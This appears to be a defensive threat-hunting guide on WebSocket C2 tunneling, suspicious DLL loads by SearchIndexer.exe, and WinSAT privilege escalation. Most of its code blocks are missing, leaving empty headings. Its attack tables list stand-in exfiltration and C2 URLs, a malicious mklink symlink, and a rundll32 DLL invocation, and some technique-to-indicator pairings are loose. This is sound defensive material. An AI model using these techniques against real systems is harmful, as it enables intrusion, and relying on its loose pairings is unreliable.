    • Real-time applications: Chat apps, stock trading platforms, etc.

    • Low-latency connections: For persistent client-server connections.

๐Ÿ“‘ Why Do Attackers Use WebSocket for Tunneling?

  • Evasion: Traffic looks like legitimate application communication.

  • Persistence: Persistent connection for long-term access.

  • Stealth: Harder to detect due to encryption and regular WebSocket behavior.

  • Data Exfiltration: Data can be extracted via WebSocket frames.

  • Command and Control (C2): Establish persistent backdoor communications.


๐Ÿ“Œ Common Attack Scenarios

Technique

Description

Example Indicator

WebSocket C2 Channel

Malicious C2 server over WebSocket.

ws://malicious.com/c2

Data Exfiltration via WebSocket

Extract data via WebSocket frames.

wss://attacker.com/exfil

WebSocket Beaconing

Regular communication to avoid detection.

ws://hidden-server.com:8080

Fileless Malware Execution

Execute commands via WebSocket without dropping files.

ws://attack.com/command


๐Ÿ›ก๏ธ 2. Detection Techniques

๐Ÿ“Š Manual Inspection with PowerShell

๐Ÿ•ต๏ธ List Active WebSocket Connections

๐Ÿ•ต๏ธ Check Processes with Active WebSocket Communication

๐Ÿ•ต๏ธ Inspect Suspicious PowerShell Processes

๐Ÿ•ต๏ธ Check for Suspicious Outbound WebSocket Communication

๐Ÿ•ต๏ธ Identify Processes Using WebSocket Libraries


๐Ÿ“Š Microsoft Defender for Endpoint (MDE) Query (KQL)

๐Ÿ•ต๏ธ Detect WebSocket Communication by Suspicious Processes

๐Ÿ•ต๏ธ Identify WebSocket Communication to Unusual Domains/IPs

๐Ÿ•ต๏ธ Trace Beaconing Patterns over WebSocket

๐Ÿ•ต๏ธ Monitor Outbound WebSocket Traffic to Suspicious Hosts

๐Ÿ•ต๏ธ Detect Encoded Commands in WebSocket Frames


,๐Ÿ“Š Event Viewer Logs

Event ID

Description

4688

New process created (powershell.exe, cmd.exe).

5156

Network connection allowed.

4663

Object access attempt.

4104

PowerShell script block execution.

๐Ÿ“Œ Focus on Event ID 4688:

  • Look for:

๐Ÿ“Œ Focus on Event ID 5156:

  • Identify outbound WebSocket connections:


๐Ÿ•ต๏ธ 3. Investigation Techniques

1๏ธโƒฃ Inspect WebSocket Connections


2๏ธโƒฃ Trace WebSocket Processes


3๏ธโƒฃ Analyze Traffic Logs

  • Use Wireshark or Tshark:


๐Ÿ”ง 4. Remediation Steps

๐Ÿ“Œ 1. Terminate Suspicious Processes

๐Ÿ“Œ 2. Block Malicious IPs or Domains

๐Ÿ“Œ 3. Inspect Configuration Files

  • Review AppData, Temp, and startup locations.

๐Ÿ“Œ 4. Clear DNS Cache

๐Ÿ“Œ 5. Perform Full Antivirus Scan


๐Ÿ›ก๏ธ 5. Prevention Steps

  1. Enable WebSocket Monitoring: Ensure SIEM monitors WebSocket connections.

  2. Restrict PowerShell Execution Policies: Apply restrictive PowerShell policies.

  3. Enable Command Line Auditing: Capture ws:// and wss:// usage.

  4. Monitor Beaconing Patterns: Use behavioral analytics to detect periodic communication.

  5. User Education: Train staff to recognize malicious URLs.


๐Ÿง  6. Key Takeaways

  • Monitor WebSocket Traffic: Especially outbound connections on port 80/443.

  • Focus on Event IDs: 4688, 5156, 4104.

  • Identify Parent-Child Anomalies: Unusual PowerShell execution with ws://.


๐Ÿšจ Unusual DLL Load by Indexer


๐Ÿ” 1. Attack Breakdown

๐Ÿ“ What is the Windows Indexer (SearchIndexer.exe)?

  • SearchIndexer.exe is a legitimate Windows process responsible for indexing files and folders to enable fast searches on the system.

  • It is located in:

    • C:\Windows\System32\SearchIndexer.exe

  • The process interacts with various DLL files to perform indexing tasks.

๐Ÿ“‘ Why Do Attackers Target SearchIndexer.exe?

  • Trusted Binary: Signed by Microsoft and often ignored by security tools.

  • Living Off the Land (LoTL): Abuse legitimate processes to avoid detection.

  • Stealth: DLL injection hides malicious activity under a legitimate process.

  • Persistence: Loaded DLLs can maintain persistence across reboots.

  • Privilege Escalation: Exploit misconfigurations for elevated privileges.


๐Ÿ“Œ Common Attack Scenarios

Technique

Description

Example Indicator

DLL Side-Loading

Place a malicious DLL in a directory indexed by SearchIndexer.exe.

C:\Windows\Temp\malicious.dll

DLL Hijacking

Replace or hijack legitimate DLLs.

C:\Windows\System32\legit.dll โ†’ malicious.dll

Persistence via Registry Key

Set SearchIndexer.exe to load malicious DLLs.

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

Reflective DLL Injection

Inject a DLL directly into SearchIndexer.exe.

rundll32.exe malicious.dll

Code Execution via DLL Proxying

Redirect legitimate DLL calls to malicious payloads.

C:\Users\Public\fake.dll


๐Ÿ›ก๏ธ 2. Detection Techniques

๐Ÿ“Š Manual Inspection with PowerShell

๐Ÿ•ต๏ธ List Loaded DLLs by SearchIndexer

  • โœ… Expected Directories: C:\Windows\System32\

  • โŒ Suspicious Directories: C:\Temp\, C:\Users\Public\


๐Ÿ•ต๏ธ Identify DLLs Recently Loaded by SearchIndexer


๐Ÿ•ต๏ธ Inspect Parent-Child Relationship

  • โœ… Expected Parent: services.exe

  • โŒ Unexpected Parent: cmd.exe, powershell.exe


๐Ÿ•ต๏ธ Check DLLs in Suspicious Paths


๐Ÿ•ต๏ธ Check for Suspicious DLL Registry Entries


๐Ÿ“Š Microsoft Defender for Endpoint (MDE) Query (KQL)

๐Ÿ•ต๏ธ Detect Unusual DLL Loaded by SearchIndexer

๐Ÿ•ต๏ธ Trace Suspicious DLL Load Attempts

๐Ÿ•ต๏ธ Identify Registry Persistence via DLL Load

๐Ÿ•ต๏ธ Trace DLL Side-Loading Behavior


๐Ÿ“Š Event Viewer Logs

Event ID

Description

4688

A new process was created (SearchIndexer.exe).

4663

Object access attempt (e.g., DLL access).

7036

Service state changed.

7045

A new service was installed.

๐Ÿ“Œ Focus on Event ID 4688:

  • Look for:

๐Ÿ“Œ Focus on Event ID 4663:

  • Registry key access:


๐Ÿ•ต๏ธ 3. Investigation Techniques

1๏ธโƒฃ Validate DLL Hashes

  • Compare hash on VirusTotal.


2๏ธโƒฃ Trace Parent-Child Relationships


3๏ธโƒฃ Review Recent File Changes


๐Ÿ”ง 4. Remediation Steps

๐Ÿ“Œ 1. Terminate Malicious Processes

๐Ÿ“Œ 2. Remove Malicious DLL Files

๐Ÿ“Œ 3. Remove Malicious Registry Entries

๐Ÿ“Œ 4. Restart Search Indexer Service

๐Ÿ“Œ 5. Perform Full Antivirus Scan


๐Ÿ›ก๏ธ 5. Prevention Steps

  1. Monitor DLL Loading Paths: Restrict DLL loading from non-standard locations.

  2. Enable Command Line Auditing: Track unusual execution arguments.

  3. Restrict Registry Access: Limit access to Image File Execution Options.

  4. Monitor Event Logs: Focus on 4688, 4663, 7045.

  5. Enable Behavioral Analytics: Use EDR tools to detect anomalies.


๐Ÿง  6. Key Takeaways

  • Focus on DLL Paths: Validate SearchIndexer.exe DLL paths.

  • Monitor Event IDs: 4688, 4663, 7045.

  • Parent-Child Analysis: Validate services.exe as the parent process.


๐Ÿšจ WinSAT Bypass โ€“ Privilege Escalation via File Change: Advanced Threat Analysis


๐Ÿ” 1. Attack Breakdown

๐Ÿ“ What is WinSAT.exe?

  • WinSAT.exe (Windows System Assessment Tool) is a legitimate Windows tool used to assess system performance and capabilities.

  • It is located at: C:\Windows\System32\WinSAT.exe

  • It typically runs with elevated privileges, making it a target for privilege escalation attacks.

๐Ÿ“‘ Why Do Attackers Target WinSAT.exe?

  • Trusted Binary: Signed by Microsoft and trusted by security tools.

  • Privilege Escalation: Runs with SYSTEM-level privileges.

  • Abuse DLL Search Order Hijacking: Loads DLLs from insecure paths.

  • File Change Vulnerability: Can be manipulated to execute arbitrary code.

  • Living Off the Land (LotL): Utilizes built-in tools to avoid detection.


๐Ÿ“Œ Common Attack Scenarios

Technique

Description

Example Indicator

DLL Hijacking

Place a malicious DLL in System32 or another search path.

C:\Windows\Temp\malicious.dll

File Change in Insecure Paths

Modify files loaded by WinSAT.exe.

C:\Temp\legit.dll โ†’ malicious.dll

Symlink Attack

Point critical files to attacker-controlled files.

mklink C:\Windows\Temp\config.ini C:\Malicious\config.ini

Hijack WinSAT Execution Flow

Abuse WinSAT execution flow to run malicious code.

winsat.exe disk -drive c:


๐Ÿ›ก๏ธ 2. Detection Techniques

๐Ÿ“Š Manual Inspection with PowerShell

๐Ÿ•ต๏ธ Check WinSAT Execution History in Security Logs

๐Ÿ•ต๏ธ List All DLLs Loaded by WinSAT

  • โœ… Expected Path: C:\Windows\System32\

  • โŒ Suspicious Paths: C:\Temp\, C:\Users\Public\


๐Ÿ•ต๏ธ Check for Modified DLLs in System Directories


๐Ÿ•ต๏ธ Trace Parent-Child Relationship for WinSAT

  • โœ… Expected Parent: services.exe

  • โŒ Unexpected Parent: cmd.exe, powershell.exe


๐Ÿ•ต๏ธ Check for Symlink Exploitation


๐Ÿ“Š Microsoft Defender for Endpoint (MDE) Query (KQL)

๐Ÿ•ต๏ธ Detect WinSAT Executed from Suspicious Paths

๐Ÿ•ต๏ธ Trace DLLs Loaded by WinSAT

๐Ÿ•ต๏ธ Identify File Modifications by WinSAT

๐Ÿ•ต๏ธ Trace Parent Processes for WinSAT

๐Ÿ•ต๏ธ Detect Symlink Attacks


๐Ÿ“Š Event Viewer Logs

Event ID

Description

4688

New process created (WinSAT.exe).

4663

Object access attempt (e.g., DLL access).

7045

A new service was installed.

5145

A network share object was accessed.

๐Ÿ“Œ Focus on Event ID 4688:

  • Look for:

๐Ÿ“Œ Focus on Event ID 4663:

  • Registry or file access:


๐Ÿ•ต๏ธ 3. Investigation Techniques

1๏ธโƒฃ Validate DLL Hashes

  • Compare hash on VirusTotal.


2๏ธโƒฃ Inspect WinSAT Configurations



๐Ÿ”ง 4. Remediation Steps

๐Ÿ“Œ 1. Terminate Malicious WinSAT Processes

๐Ÿ“Œ 2. Remove Malicious DLL Files

๐Ÿ“Œ 3. Remove Malicious Registry Entries

๐Ÿ“Œ 4. Reset Permissions on Critical Directories

๐Ÿ“Œ 5. Perform Full Antivirus Scan


๐Ÿ›ก๏ธ 5. Prevention Steps

  1. Enable Command Line Auditing: Monitor WinSAT.exe executions.

  2. Restrict DLL Search Paths: Prevent loading DLLs from untrusted locations.

  3. Monitor Registry Keys: Image File Execution Options.

  4. Enable Behavioral Analytics: Detect unusual parent-child processes.

  5. Restrict Write Access: Limit access to System32 and Temp.


๐Ÿง  6. Key Takeaways

  • Validate DLL Paths: Ensure DLLs used by WinSAT.exe are from trusted locations.

  • Focus on Event IDs: 4688, 4663, 7045.

  • Trace Parent-Child Relationships: Validate services.exe as the parent process.


Last updated